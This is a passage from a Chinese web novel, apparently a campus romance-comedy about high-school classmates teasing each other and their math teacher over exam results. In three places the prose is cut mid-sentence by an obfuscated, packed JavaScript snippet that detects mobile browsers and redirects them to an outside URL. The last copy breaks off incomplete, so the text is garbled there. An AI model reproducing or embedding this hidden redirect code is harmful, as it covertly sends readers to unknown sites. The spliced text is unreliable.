很多人极其虚伪,各种鄙视链:地域歧视、城乡歧视、专业歧视……关键是很多人进校之前不是这样的,只能说学校整体风气氛围影响。 倪旖这么疯癫,她就是装的。 因为这样可以筛选掉大部分不怀好意的人,而正常人不会想去招惹一个疯疯癫癫的人,会忍让她,她真做错什么也不会跟她计较。 人一多逼事儿就多。 苦了师哥。 这孙子孙女。 “这孙女”三个字,体现她在男女平等方面的巨大努力…… 倪旖缓解情绪,这事儿不能急,但是敢欺负到她头上来,肯定得不了好果子吃,敢吃好果子不怕吃不了兜着走? 倪旖点进学校官网硕士研究生导师展露名单,叫那个男人头像保存,满眼冰冷地将那笑起来略显猥琐的国字脸牢牢刻在海马体。 倪旖忍着气愤,溜达回座位时百无聊赖地抬眸研究着黑板上电子彩色座次表。 突然,背后猛然传来一阵恐怖巨响与一声凄厉惨叫。 整个教室顷刻间安静。 倪旖几乎生理性应声回头。 原来是旁边傻逼大马猴连人带椅子向左后方翻倒在地。 见事态并不严重,周围男生吹口哨或是嘲弄般搞出些哄笑声和叫好声,重新打破了鬼来电般鸦雀无声。 只见惨案主角大马猴大剌剌赖在原地,不依不饶地直接抱住身旁似乎是始作俑者的小腿,闭着眼装腔作势跟无赖似的嚷嚷道:“林愈合!八抬大轿和医药费账单你选吧!呜呜呜呜呜——” “八抬大轿。”林愈合将小腿一踢。 学校百年名校,表示让你看看什么叫桌椅密度的极限。 倪旖扶着额,懒得再听,将专注刷题的甄凝那耳机抢过来,很舒缓的旋律,Anson Seabra,hindenburg lover。 “不是跟你师哥玩?”甄凝被抢耳机弄得在风中飘零,连脑壳头发丝都翘了起来,钻出一丁点空调风撩起的。 “你管我。”倪旖正郁闷着呢。 “……”甄凝闭嘴,继续刷题。 大马猴把出版的画集拿给林愈合的时候心里充满自豪。 大马猴撒娇般半歪在闲置椅上,头枕在林愈合腿上,像个玩闹的孩童一样把手挥来挥去说:“林愈合,你看我厉不厉害啊,厉不厉害哦!” “滚呐。”林愈合使劲挪他灌水的脑袋,没挪动就企图挪动自己,也不成。 甄凝隔了一会儿,看着她凹陷下去的空洞双眼,好似身边弥漫起一股盐水与铜混合的颓败味道,脑袋上一撮乌云滴水,那潮湿得都影响人。 “林愈合,你就夸我一句嘛。”大马猴抬眸时眼睛亮晶晶的。 林愈合挪开视线敷衍道:“棒!” “加主谓宾。”大马猴来劲儿了。 “谢灵桓最厉害啦。”林愈合十分不情愿地捧场,两只手却特诚实翻开治愈漫画集,里面是水彩画着的母子日常。 谢灵桓,就是大马猴。 听着这名字,莫名觉得脸还挺帅。 其实,你会失望的。 那不叫挺帅。 叫非常帅。 搁几个联考学校里也是封神榜上靠前位置。 曾经被女孩轰轰烈烈的表白过,那9朵,那99朵,那999朵……反正挺多红到辣眼的玫瑰花一天接一天的,没想到大马猴这爱炫耀的死鬼居然会不堪其扰。 也不是主动不堪,怕林某人憋着气别扭,便故意当着所有人说了一句话,让全校爱吃八卦同时有一点点幻想的小女孩都失魂落魄颓废了半个下午。 他说,“我不吃窝边草。” 本以为这回答挺不错,还巴巴上去找林愈合讨赏,最后收获大冷脸。 窝边草,这是说谁呢? 最靠近窝的不就是林某人。 这下好,一夜回到解放前。 倪旖被周围一圈人注意不对劲,瞪一眼后小跑出去,插兜立走廊扶手前,手指在兜里狠狠地抠着掐着手心,表情却像走了神,眼神涣散无边。 他见她时,一定很难过的。 虽然她论文都是自己写的。 在他看来估计跟作弊逃不了干系。 他那天才会失态。 倪旖呼吸困难,微微张开嘴,颤抖着嘴唇想要竭力吸一口空气,才发现胸腔疼得撕心裂肺,像断了根肋骨。 一般被欺负成这样,都是家里没底子不敢翻出天儿来,窦娥冤都没这样,只能忍着。 倪旖擦擦眼泪。 是啊,她原以为他很笨,是个软咚咚的差学生,怂包似的,和她挺配的。 后来发现她猜得没错。 于是,和她更配了。 数学老师穿过走廊直接无视倪旖,跨过门槛,抬脚上了讲台,两手撑着讲台桌面慢条斯理,将包里试卷掏出来。 随后,数学老师懵圈几秒,进门就皱眉,一副苦大仇深模样,此刻呢,说话恐怕都气短,眼睛不停眨估计被熏着了,径直往前走,边开窗边循循善诱道:“同学们,我们开下门窗增强下免疫力。” 林愈合跟好哥们大马猴分享:“数学老师,像不像橄榄球僵尸?” “挺像的,”大马猴停顿,仔细嗅嗅,微蹙眉,“你,扑面而来的一股污浊之气。不是臭味儿,就像啥,就那个一群破壳不久的小鸡在保温箱捂了一天的,突然打开盖子,扑面而来的那种湿湿的,热热的。” 林愈合抬胳肢窝仔细闻闻自己,满脸疑惑。 “没事儿,我表妹就那味儿,每次去幼儿园接她,就跟把头埋进小鸡崽子翅膀下面一样。”大马猴怕她生气,解释一下没有恶意。 林愈合眼皮倦怠,淡淡道:“你闻起来是乌龟味,就我养的那中华草龟一模一样,水腥味儿。” “明明一点味儿也没有,”大马猴也开始闻胳肢窝,“再说,就算沾染也是你的错,自己不喂乌龟,每次都我来。” “切——”林愈合摊手表无奈。 “那硫化氢什么味道?”大马猴随手指一下。 “太远了,闻不到。”林愈合懒得说。 “人如其名,一股臭味儿。”大马猴就拖兄弟下水。 其实,不是那味道,准确来说,甄凝觉得是小狗子味,一种在阳光照晒下的带点泥土气息的草坪上奔跑后的气味。 甄凝就跟关键词捕捉机器人似的,光是碰到那三字就下意识抬头。 刘湖岐白了大马猴一眼。 “我这是夸你很男人,俗话说,屎壳郎夸孩儿香,刺猬夸孩儿光,我作为你的爹,当然不会嫌弃你。”大马猴拍拍胸脯。 “边去儿——”刘湖岐都计算着等会下课把人锤死。 倪旖也竖着耳朵听热闹,偷偷问大马猴:“我是什么味道?” “一股人肉味儿。”甄凝很敷衍。 “她一屈膝踢,我前列腺都得开胶。”大马猴着实替自己捏把汗。 甄凝迫于淫威,就凑上去:“胳肢窝有点像草莓加樱桃的味道,全身胳肢窝底下味道最大,头发缝里其次,就甜丝丝的,有点像吃完某种雪糕糊手上干掉的味道。” 大马猴狐疑:“甜?要不妹妹去查查血糖,像甜得发腻的奶油蛋糕。” 林愈合突然从背后搂住倪旖,头搁脖子上,刚从体育馆一路奔波,一身汗怕弄脏她,刚想挣扎,她来了一句:“你好香啊。” 倪旖躲躲,又怕她觉得见外,赶紧找补:“是洗发水和沐浴露的味道吧。” 林愈合鼻子埋她脖子上吸了一口:“不是,就是体香儿。” “腌入味了?”大马猴跃跃欲试,只是被甄凝瞪一眼就悻悻。 “不是烂苹果味儿。”林愈合凑她胳肢窝闻两下,“血糖正常。” “这种味道感觉上甜丝丝很好闻,但是闻久一点就很腻,很恶心那种,甜腻得像劣质糖精一样。”甄凝躲了躲,离太近嫌腻歪。 “你才恶心。”倪旖照她小腹就一肘击。 甄凝直接闷哼一声。 “你咽口水声音有点大。”甄凝衢幽幽道,见林愈合一脸享受。 “那叫有点嘛?她咽下去一泡痰呢。”大马猴同款语调。 林愈合笑得怪不好意思的。 “就你这样,你觉得你能冲刺燕兆吗?”数学老师俯视着座位上大马猴。 教室万籁俱静,所有人吞声屏息。 在全员都抓心挠单等待成绩时,老师却发现大马猴在本子上涂鸦解闷。 大马猴见状抬眸迷糊道:“老师,我没说要冲刺燕兆,能上颐大就行。” “哪个专业啊?”数学老师笑脸蛇蝎心肠此刻。 “与其去几个疯人院被竞赛生狂虐摩擦,不如在光华维持学霸人设。”大马猴倒是想得开,面子里子好歹得占一个,绣花枕头面子上得过得去就成。 “那林愈合上学你不陪着?”数学老师格外意蕴。 “她想考艾利斯顿商学院,就那流星取景地,我才不陪着,她努力来陪我,咱俩都得往上走的,不存在谁要迁就着谁。”大马猴很认真。 林愈合脸颊绯红,要是走竞赛加分早就能上那地方,可想陪着他一起念大学的。 数学老师笑笑,一副儒雅做派,用手推了推眼镜,不咸不淡地问:“我倒想问问,你画的画跟考大学有什么关系?能不能告诉我,你画的是什么?” “好的,是鸣人!”大马猴精神抖擞,还将自己的大作展示一番。 一瞬间,教室四处响起“噗”的喷笑声。 鸣人是《火影忍者》里忍者少年。 “……”数学老师沉默两秒,礼貌性点点头,“眼光不错。” 这场景别提多滑稽,别让人憋笑得厉害,一个个捂肚子趴桌面装死人。 数学老师一瞥,林愈合桌面很明显就不是与数学有关的书籍,密密麻麻全是字,一好奇,就望过去。 林愈合很明显就做贼心虚,死死捂着书籍,视死如归都没她眼神坚定,到底要给女孩子留点自尊,便开玩笑道:“多少年过去了,难道你们这群oo后高中生还流行安意如和白落梅?” 林愈合懵懵懂懂道:“是人类的名字嘛?” “算是吧。”数学老师敷衍道,心隐隐痛,代沟如此深重,这两位都是时代的眼泪,只能转移话题感慨道,“你们用什么擦的黑板,这么干净?” “干的湿抹布。”二次元受不了嘀嘀咕咕讲废话,蹙眉打断,听着教室众人微微错愕,便解释,“潮而不湿,拧不出水的虚假干燥状态。” “你跟老师道个歉。”林愈合扶着额拽他衣袖提醒着,“领导可能本来无意要找你麻烦,但你肯定是存心想让他不痛快。” “别躁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222324|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,朋友,心态放平。”大马猴在林愈合斜对面,姿势特清奇,笔下画笔横撇竖折动作狂得几乎都要飞起来,嘴里却风轻云淡。 “……”林愈合把桌子往后挪挪。 及时和智障划分界限。 “意外总比想象的先到来,但是我们可以调……操!调整个,这纸比你生命还脆皮,没扯它就裂了。”大马猴小声嘀咕两句。 林愈合直接踩他脚。 他俩后排打闹,闹出动静。 数学老师停顿粉笔很生气地在讲台上说:“你俩闲的啊?” 到底是有段子手天赋的,大马猴笑嘻嘻解释:“但少闲人如吾两人尔。” “只有俩人打闹,很和谐啊。”林愈合没敢反驳,只是偷偷嘀咕。 数学老师在课堂上长叹:“南村群童欺我老无力。” 都这么说,那屁孩子还不收敛,嗓门大得对面楼层校长办公室都听得着。 “灵桓啊,来,别吵了,你一吵我就把你揪出来,你一个人耽误大家一分钟,全班三十个同学,那就是半小时,你一个人耽误大家快一节课啊。”数学老师只好这样威胁着。 “……”大马猴被林愈合踹一脚,疼得直皱眉,还顾着顶嘴,“在同一空间维度下,单体时间不可重复累积计算。” “再说一遍。”数学老师气死,下去就扒拉他胳膊。 大马猴勇敢无畏:“老师,那这节课别上了呗,都耽搁了。” 数学老师满脸怨气:“翅膀硬了。” 大马猴肩膀一抖,把他手抖下来,倔强道:“不要碰我的翅膀。” 数学老师默然两秒,跳过这茬,淡淡带着压迫感道:“这次联考啊——” 全班都紧张。 大马猴挺烦这种故弄玄虚,故意咳嗽两声,不高不低以最引人注意方式喊了一声:“老师,你干嘛穿老头背心。” 数学老师成功被带跑偏,愤愤不平扒拉衣裳:“哪有?” 大马猴这时非不按套路出牌:“一句话让儒雅老师为我脱衣裳。” “……”数学老师就无语。 哄堂大笑,只不过,气氛一直绷着紧张劲儿。 老师就爱这种欲说还休感,考试后发卷跟娱乐大师似的,掌控紧张气氛。最后演变成一种娱乐方式,跟脱口秀似的发悬念,搞互动。 “咱们班就两个满分,不是班长,也不是课代表,学委你看,谁像?” 学委徐浣若不敢说话。 “最让我难过的事,数学哎,你们哎,其中有人没到优秀,这样的考试都不过优秀线,不想念书别念了……” 优秀线是135,按照总分百分九十成功率。 但是这个班级得上140。 啰哩巴嗦半天,才念成绩。 念成绩,名字和分数间得隔一段时间,跟表演似的,很恐怖的停顿。 “徐浣若——”数学老师看一眼,停顿两秒,“145。” 就跟刚算出来似的。 徐浣若微愣片刻。 明明没错,应该满分? 步骤扣分?还是知识点遗漏? 为什么要差五分才满格? 差一分遗憾,差两分微微释怀,差三四分无所谓,差五分让人心惊胆跳,五分啊,一个选择题的涂改或者填空数字变更就可以圆满,为什么? 徐浣若越想越激动,泪如雨下,较劲一样地死盯着面前那考卷,绷紧的身体微微颤抖,果然是道唾手可及的题。 徐浣若是镇上状元,是她那地方的骄傲,是被市里破格录取的,很早就清楚来到这里读书肯定会有很多是比不上别人的。 智力、思维、勤奋……都不如。 熬两年,这学校绝大多数苦难,落入她眸子里时,都早已细微到无声的。 可这次考试是分班第一科目摸底。 成绩高会在老师心中留好印象。 可……徐浣若死低头。 她的怒火在胸中燃烧,她此刻无比希望这种力量能得到激烈蔓延,但又熟稔意识到对这种力量的恐惧,她只能无声无息地平静煎熬,因为没有能力让怒火爆发,她害怕愤怒,害怕愤怒带来的后果,还不如按兵不动,让憎恨不断滋生。 “那谁,”数学老师挥挥手,微带凡尔赛,“我以后就不多费口舌。” 不是放弃,是没必要。 丁戈晖每次就跟一键满分机器似的。 徐浣若这些诡谲想法都属于她自己的,现在藏人堆里,明明翻江倒海的努力变成别人眼里太清太浅,以至于她觉得死都不会留下什么痕迹。 奇了怪了,大家伙儿都是十七岁,怎么你全都瞩目,我全都踉跄呢。 为什么呢?因为笨嘛。 徐浣若只是难过,天赋这东西比女娲补天那道缝隙还难填补,无法弥补。 “林愈合,”数学老师停顿两秒,呃两声跟要死不活老蝉似的,“131。 “你喜欢哪个老师?”大马猴说小话,“重排,咱都更换老师啦。” “那你喜欢你那社团领导?”林愈合就一白眼吐槽,马不停蹄物理刷题。 “林愈合,你拖咱班后腿了。”数学老师冷脸,盯着说小话的两人。 林愈合最烦这种老生常谈的经典PUA,不高不低用讲台上那位能听到的声音嘟囔着一句:“什么都拿平均说事,什么叫拖了班级的后腿?可笑,班级又不是狗,还分前腿后腿的。” “林愈合!”数学老师胸腔被刺激得疼,抬手揉揉,随口立马后悔。 林愈合收敛着,怕这老师暴毙,她暂时还不愿意担负气死授课男老师的舆论压力。 大马猴来了劲,替林愈合仗义执言:“平均数线怎么来的你这教数学的还不知道么?” 林愈合一胳膊肘砸过去,狠狠道:“就你事多。” 大马猴懵逼。 “关你屁事——”林愈合睺一眼。 数学老师自知失言,便给小孩子台阶下:“也是,总不能都在平均数线上,除非咱班只有一个人,那人考鸭蛋都是平均数,还可能是中位数,或者,众数。” 哄堂大笑。 这事也算结束。 数学老师其实挺不屑他自己的,教师是一个极其简单枯燥的循环性工作,只要教材不改,就永远轮回,三年为期,翻来覆去炒冷饭,连活跃气氛用的三流笑话都一样,包括刚刚平均数笑话。 他只能竭尽全力跟小朋友们好好相处三年,可这样也不免时不时在无意识状态下走上自己最看不上的教育道路,以上位者姿态指指点点。 23. 道歉 “好无聊,我出去溜达。”倪旖偷偷摸摸蹲下来,慢慢往外挪。 数学老师瞥一眼那挪到门口的胆大包天小孩,玩笑道:“我发现有人乘兴而来,兴尽而返了。” 好漂亮的话,把上课上到一半偷偷从后门溜走的翘课行为描述得充满诗意和共产主义。林愈合佩服道。 大马猴替妹妹解围,跟着附和:“雪夜访戴,何必见戴。” 你多什么嘴?林愈合甩个眼刀。 这双标,如是,大马猴知道,定得气得半死不活。 终于熬到下课,数学老师拍桌,抬手推一下眼镜,淡淡又有点鸡贼道:“同学们,我耽误大家两分钟,好吧?圆锥曲线咱讲完,下节课讲微积分啊。” 大马猴憋尿厉害,那简直一分钟不能等,踩了狗屎似的大跳起来,大义凌然道:“我们班三十位同学,耽误每个人两分钟,那就是六十分钟啦,下课拢共十分钟,你还欠着五十分钟,要不后面一节课你别上了啊。” 数学老师被堵得慌,可也慢慢悠悠收拾讲义,懒懒掀开眼皮:“我不强制,要上厕所就出去,我这村讲完就没这店,掂量掂量啊。” 丁戈晖攥着根笔不轻不重划着纸,嘀咕着:“老师是膀胱?还是括约肌?一个个都喜欢控制学生上厕所,也不怕他们拉裤兜里。” 欻一下。 走了六个。 还不带回头的。 “唉唉,这么些。”数学老师笑道。 “老师,我怕。”大马猴犯贱,怕他秋后问斩。 “狼人呢,怕天黑?太阳还搁屋头挂着呢。”数学老师偏头让人出去。 林愈合攥着练习册追上数学老师,态度极其恭敬,垂眸很认真:“对不起,孟老师,我不是故意顶嘴的。” “没关系的,在这个默认大朋友欺负小朋友的是潜规则的社会游戏里,我们这些大朋友们其实不知不觉就沾染这种比你多吃几年大米饭的优越感,应该再想得多一点的。”数学老师很儒雅温柔。 果然是校园公认最温柔的老师,确实挺可爱的,嘴角经常带笑,年轻时估计就是走可爱那挂的,林愈合愣神片刻。 数学老师怕青春期小女孩想多了,慌忙解释:“我不是假装过来人在和你装13似的传授所谓人生经验,那是怪叔叔啊,你不要搭理,哦哦哦——,不是不搭理我,我只是你们知错就改的大朋友。” 林愈合满脑子都是写小说片段,这儒雅温柔受简直跃然纸上。 数学老师见她呆傻,拿着教材轻轻敲她脑壳:“下学期班干选举,有没有兴趣当我当我课代表?” 林愈合没挺仔细,就敷衍点点头。 “那一言说定了,高三当课代表不准再给我丢人霸占数学科目倒数第一,至少啊,得倒二嘛。”数学老师很温柔关注每一个他的学生。 啥玩意?课代表?哈?林愈合满脸错愕,慌忙拒绝:“我不干具体班干的。” “你都答应了。”数学老师笑道。 林愈合觉得直接拒绝可能不被答应,便迂回曲折道:“其实,我是官迷,胳膊肘袖套上得三条杠,数学课代表没有红杠,我不干!” 数学老师点点头。 林愈合松口气,以为他同意,哪承想—— 就见数学老师欻欻拿着红笔在教科书内页空白面几下一划,随后撕下来叠成小三角状装进林愈合左胳膊肘大臂汗衫装饰条带上,赫然是手划的几条杠。 林愈合一抬眸,同时听到他温和笑道:“五个红杠,送你俩条,这下愿意啦?” 这该如何拒绝?林愈合瞬间感觉一股重大信任隔空传输到她心里,虽然暖暖的,但,这事儿绝对不能答应,她还得重返班长之位和甄凝那个货色打擂台呢。 “还有不懂问题问我?”数学老师见她呆傻着,怕她挡着人搬资料被撞到,用教材充当隔物戳戳她胳膊示意靠边站。 林愈合怕他不依不饶,便死皮赖脸拒绝:“我在数学上没天赋。” “你觉得什么叫有天赋?”数学老师反问。 “丁戈晖那种,每次满格,还有那谁,和那个谁,还有那那……很多人都有的,但,我没有,确定以及肯定,一丁点都没有,不然卷面批红也不止就那几个子儿。”林愈合往边上闪开,低头嘟囔道。 “天赋不是成绩好,林愈合,我们的教育总是喜欢告诉人,你是没天赋的,都是教育赋的,等你毕业,你就能自然接受一切被定义。” 数学老师垂眸看着她无措模样。 林愈合极其不乐意便牵强道:“每次上数学课就跟被知识强了一样,反抗不了也享受不了。” 数学老师沉默着,幽幽道:“那也不能一直表现得跟搅屎棍似的,单领出来很臭,放在屎里面还是顶梁柱。” 林愈合甚是无语,可想到自己至少还是个木棍便欣慰起来,颇具备阿Q精神。 “有哪道题目不会嘛?”数学老师见她呆愣愣的。 林愈合举着攥到边角微微发皱的考试试卷:“倒数第二题,概率统计那题,我一丁点都不明白这个怎么讨论出一万多种可能性的,出题老师害我。” “要是出题老师真的想难倒你,你就不可能做出来。”数学老师瞥一眼就知道这道题难度不太大,至少对于这个班还没保送的同学们说。 “骗人!”林愈合耸耸鼻尖,一副小狗不信模样。 “做不出来主要是考试时间内做不出来,计算量大或者多拐几个弯,你考试绝对做不出来。但是真要你做不出来那不可能。你这不是得到两分?” “两分算分数嘛?”林愈合偷偷白眼。 “你首先要把握出题老师的意图。”数学老师开启引导式教学。 林愈合可怜兮兮道:“……他想让我死!” “……” 数学老师顺着上课思路再讲解细致一点,随后直视她懵懵懂懂眼神,看着怎么就那么智慧呢? “我懂了!”林愈合从他眼神中看到不信任,连忙掩饰自己迷迷糊糊。 “我相信你懂了,但要记住普适性方法,明天我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222325|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会课下考考你。”数学老师没说穿小女孩要面子时一句不算谎言的小小可爱谎言,语气依旧温和。 林愈合又愣神,偷偷背住他说的话,下次写到自己同人小说里。 “要是没别的问题,我就先回工位。”数学老师便准备转身离开。 林愈合一着急,拽住他教鞭,就想啥说啥:“我感觉你有点羞答答的可爱。” 一瞬间,数学老师臊得满脸通红。 林愈合双目放大,慌张解释:“不是,就纯理科班那些绝顶聪明的男孩子就是你那样——” 就是这种脑子聪明但又有些阴柔,让人觉得很涩。 林愈合紧急闭嘴,怕完蛋。 “谢谢啊。”数学老师疯狂逃窜掉,耳朵红得厉害。 林愈合用教材挡脸:“太丢人啦!” “确实挺丢人。”大马猴抱着胳膊看热闹。 林愈合将书丢他怀里:“你也得道歉,上课说废话惹他不高兴。” 大马猴颠了两下才拿住,笑道:“我一直觉得他很性感,有一种欲望很强但是一直压抑着的感觉,不笑的时候心事重重。” 林愈合回味着对话,想忽视大马猴都不成,他光是站在那里什么都不做,就单活着,便充满青春期荷尔蒙味道,能感觉到空气里都是少年躁动不安的呼吸。 “傻啦?”大马猴顺手搭在她肩膀上,一副好哥们模样。 林愈合点点头应付:“哪有,孟老师仙风道骨,冷静智慧。” 大马猴扭头一看,啧一声,淡淡道:“穿牛仔裤,屁股真翘。” “……”林愈合想锤人,“这么慈祥的脸你都……” 大马猴才回过神,无语道:“不是,你看看,真的翘,不过我是直的啊,只是我在他身上感受不到直男的那种气场。” “直男什么气场,粗鲁攻击性强吗?”林愈合已经被圈粉,直接维护那个男人,“你的攻击性倒是蛮强。” 大马猴抬手使劲晃动着她肩膀:“这种阴柔款男生不会性能力弱,更配合的。” “猥琐啊你,不过,那种独属于成熟男人的儒雅温和低调谦逊的气质确实迷人,不像你,粗鲁死了。”林愈合嗔怪。 被怼了的大马猴着急找场子:“我每次都觉得他腮帮子像含了俩核桃。” “那是奶膘。”林愈合已经变成死忠粉。 “他都快三十的人了哪来的奶膘。”大马猴白眼。 “那也是我们迷妹眼里的宝儿。”林愈合哼唧,骄傲解释,“我们眼里就差不多等于他身上有万人迷系统的京圈书香世家继承者。” “那这么说……我是你小说那京圈豢养金丝雀儿。”大马猴摸摸后脖颈。 “屁啦,京圈今天休息。”林愈合笑得要死,肩膀抖得不停。 “那我要沪圈。”大马猴开始点单。 “靓仔,今天限号了。”林愈合说话波浪线形状,笑意都藏不住。 “有贵圈的吗,听着就很贵。”大马猴太喜欢她笑容,很坦率那种。 24.运河 大马猴几乎刻意撇开了眼神,这是个万恶的小酒窝,当年他那颗不怎么展示的小芳心就是醉倒在这里的。 虽然现在回想只觉得他就是被林愈合嘴边这个窝给弄得总是窝火。 林愈合的笑声蛮撩人,撩得他一路脑袋都歪了。 他就这样看着她,连转弯都不带挪动的,微微燥热的林愈合不得不再次用食指尖轻轻捅他肩膀,示意他看前面,小心撞到路过的同学。 “你是豫圈大佬圈养的扁嘴子,中不中?”林愈合快要笑得走不动路。 “青青草原大明星扁嘴伦吗?”大马猴明知故问,他知道,管鸭子叫扁嘴,因为它的嘴巴是扁扁的,“谢谢你,我顶你个肺。” 谢灵桓看她笑得灿烂,那笑得模糊的样子就像一只受惊的猫在你的嘴巴里跳舞,突然脑子一抽,抱着她瞎挥舞的手亲了俩口。 然后林愈合就听他说:“林愈合同学,我们是好朋友!” 怕她不信,谢灵桓继续说,带些自我解释的窘迫:“骗人是小狗。” “小狗才不会骗人。”林愈合偷偷嘀咕,她口头禅就是说谢灵桓是狗。 “那我们永远是好朋友?”谢灵桓满脸真诚。 “我……啊……啥……好朋友……嗯……”猝不及防地被戳中要害,不由得支支吾吾起来,林愈合绯红脸颊呆呆傻傻跟他一路。 说啥来啥,这次不是谢灵桓,而是她自己差点撞到迎面的倪旖。 暗恋视角的叙述,你有所隐瞒。 而隐瞒是得不到真正有用的帮助的。 但,心知肚明的双恋就不同,欲情故纵的暧昧慢慢上头。 倪旖嫌无聊,连班都没回,准备再去生物实验室一趟,可快打铃,也不知道来不来得及,先把试剂放回去,一不留神就看到撒狗粮,幽幽道:“这狗粮洒得……反正我不扫。” “瞎说什么。”林愈合嘟囔着。 倪旖白眼:“谢灵桓此刻,也不止此刻,好多好多次,看到你,就像巴甫洛夫那条听见铃声便流口水的狗,实在可惊可叹。” “你才狗。”谢灵桓挺乐意当林愈合的舔狗。 林愈合为了显示没那意思,抬手揍他一圈骄傲昂起头。 倪旖只是淡然:“你为什么要奖励他?很明显就是爽到了,m属性大爆发。” “去你的。”林愈合多多少少有点子害臊的。 “宝贝儿,喝一口。”甄快活在走廊溜达。 “这个玫瑰味,看起来很像痢疾志贺菌的颜色,”倪旖眯起眼睛,幽幽回应,“引起肠道传染病,黏液脓血。” “……”甄快活嫌弃一推,抬脚往她屁股轻轻踢一踢,“去去去,还恶心我。” “真的啊。”倪旖将视线移到她脸上,微微倾身,轻咬字音。 “玩去。”甄快活推搡人离开。 倪旖钻到教室里,攥着瓶有机染色剂,刚出门就被撞到不小心将试剂扔出窗外,结果地上一片蓝色。 这很难刷干净。 倪旖微蹙眉,抬眸愤愤不平瞅着那个男孩,是的,又是上午撞她那个。 “有机物相似相溶原理,去用酒精去刷地。”倪旖脸色幽深,轻“啧”一声,懒洋洋抬手,指着楼下那痕迹。 “对不起啊,我现在就去。”男孩模样挺可爱的,只是走时依依不舍回头看,貌似在看倪旖,实则徐浣若攥着保温杯从饮水器那走廊出来。 “没事儿吧。”甄快活勾肩搭背,缓解她不满情绪,笑嘻嘻的。 丁索隐边写作业边喝一梭子AD钙。 一梭子指的是排箫喝法。 一次四瓶。 换吸管。 连透明塑料包装都不拆。 林愈合回到座位歇歇气。 那谢灵桓简直尿频尿急尿失常,又去厕所卸货了。 大马猴撒完尿,如释重负地走出卫生间,没想到门后这时猛地蹿出一个黑影,朝他“啊”的一声大喊。 大马猴吓得跑都忘跑,呆若木鸡。 林愈合则在一旁笑得直打跌。 大马猴满眼怨气,气呼呼回教室,林愈合再次蹿出来,用纤细手臂一把卡住谢灵桓脖颈,哪怕明知不会让他窒息,还会顺嘴提醒一句:“怕不怕?” 在她低呼当口,谢灵桓轻轻抬臂并朝后转身,手臂连同手肘在回身时顺势压低林愈合颈背,她被迫弯腰,龇牙咧嘴的。 点到即止,谢灵桓怕伤着她便松开手,随后趴桌面写检讨。 一人一千字检讨,一篇作文字数。 这还不算,写完了要在全班同学面前念,这才要了命。 本来没事,他脸皮厚。 无奈带上林愈合。 林愈合虽然母性光环很强烈,但脸皮薄得像片纸,一想到尴尬到抠出三室一厅场面脸就红,所以写检讨时她整张脸都是烧着的。 “林愈合。”大马猴停下笔,看着林愈合,“我顺带给你写一份,你到时候照着念一遍就行。” “是写的问题?”林愈合气得够呛。 大马猴撂下笔,绕着这个妞走一圈又一圈,把她当个小玩具似的,搁她脸颊摸摸戳戳,又把好吃的好玩的全都堆过来,还是没能把这妞哄好。 “丢垃圾呢?”林愈合烦着呢。 “别生气,再生气,我就以身相许啦。”大马猴笑道,摸摸脖颈处,说骚话难得红脖颈,搓得都起皴。 “……”林愈合想吐,“你最好是生命的生,不然我得报警,你都涉黄。” “这叫性感。”大马猴叉腰拽着。 林愈合猛踩他椰子鞋。 大马猴跟烫着似的大叫:“孩子,我的孩子,椰子牌的。” “几个月啦?”林愈合憋笑道。 “……”大马猴趴桌赌气不说话。 “吃辣椒啦?估计是闺女。”林愈合不依不饶补充。 “……”大马猴冷战抗议。 毕竟。 你可以打他,甚至打死他。 但。 不可以踩鞋! 林愈合自顾自写检讨,都写出经验。 大马猴趁她不注意一扯她检讨,掉出个苹果平板手写板,几分钟后微微错愕,自顾自念叨着:“孟德尔和豌豆,摩尔根和白眼果蝇。” 大马猴煎熬揉揉头发:“我合理怀疑你是被变态的遗传杂交题逼疯了,恶心到我想把心脏抠出来,咦咦咦——” 林愈合愣在当场,一动不动。 大马猴微微皱眉,将稿纸往下继续翻,顺嘴小声嘟囔道:“离离原上谱,黛玉配汤姆,卧槽——” “……”林愈合难得腼腆一笑。 大马猴摸摸后脖颈,抬眸浅浅一笑表现懵圈,淡淡道:“你不磕氢气和氯我不是很赞同,看看教科书怎么写的啊。” 大马猴停顿一下,用指尖摩挲轻薄手写板页脚幽幽道:“氯在氢中安静燃烧,发出苍白色火焰,一整个先婚后爱霸总味儿,这是正史都承认的偏爱。” 林愈合受不了阴阳怪气,胳膊肘差点没砸死他,咬牙切齿瞪一眼,一副杀人模样威胁道:“我还磕氢和氧,能出水的那种,不磕氯和氢,因为再多看一眼就会爆炸。” 大马猴不舒服得磨蹭双腿,插插兜再换个方向继续跷二郎腿。 “夹着啦?”林愈合猥琐用指尖戳戳他肩膀处,挤眉弄眼一副我懂我都懂。 平常人以为男生双手插袋都是为了装杯嘛,其实那是在校正炮位。 “……”大马猴欲言又止,“男人给你讲黄段子是为了看你羞涩儿的表情,而不是为了听你讲一个更黄的。” 林愈合两手一摊:“怪不得我找不到男朋友。” 大马猴有点不爽,现成男友就搁面前你跟盲人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 